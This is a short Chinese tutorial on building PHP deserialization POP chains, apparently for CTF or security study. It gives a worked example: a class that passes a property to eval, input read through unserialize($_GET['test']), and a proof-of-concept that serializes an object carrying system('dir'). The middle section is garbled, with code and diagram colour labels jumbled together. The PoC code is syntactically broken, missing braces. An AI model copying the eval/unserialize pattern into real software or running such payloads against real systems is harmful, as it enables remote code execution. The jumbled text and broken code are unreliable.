pop链的构造

利用php对象自动调用魔术方法的特性,将多个类和方法串联起来,形成链式调用。

构造技巧:

- 1. 简单浏览, 找出可能的漏洞点
- 2. 根据漏洞点反推,看逻辑是否可行(参数是否可写入,魔术方法能否触发,条件是否可达成)

先找注入点,判断注入需要的参数,找包含执行注入的函数,找函数条件a看是否满足,找条件a的条件b看是否满足,依次找下去。

3. 构造poc验证

找到条件从后往前构造,找到正确触发魔术方法的是谁(\$this指的是谁)

一道例题

-道简单的pop链例题 3.将index设置为execute的 class test{ 实例需满足: __construct 不 private \$index; 触发(反序列化test对象不会 function __construct() 触发) 蓝色:满足当 前步骤所需条 \$this->index=new index(); 黄色: 需要修 function __destruct() 2.hello()执行需满足: 改的参数赋值 (也可能赋值 __destruct<mark>可</mark>触发:(反序列化 \$this->index->hello(); 也需满足一定 test对象之后自动执行)且将 条件) \$index=new execute() 红色: 魔术方 class index{ public function hello(){ 法触发与否及 条件 echo '你好啊~~'; 灰色:漏洞利 用点与方法 1.漏洞利用点: 使 浅蓝色: 上一 class execute{ 步的条件 public \$test; hello()可执行,利用 function hello(){ eval执行系统命令 eval(\$this->test); 令\$test=system('dir'); unserialize(\$_GET['test']);

```
class test{
    private $index;
    function __construct()
        $this->index=new execute();
}
class execute{
    public $test="system('dir');";
$a=new test();
echo urlencode(serialize($a));
```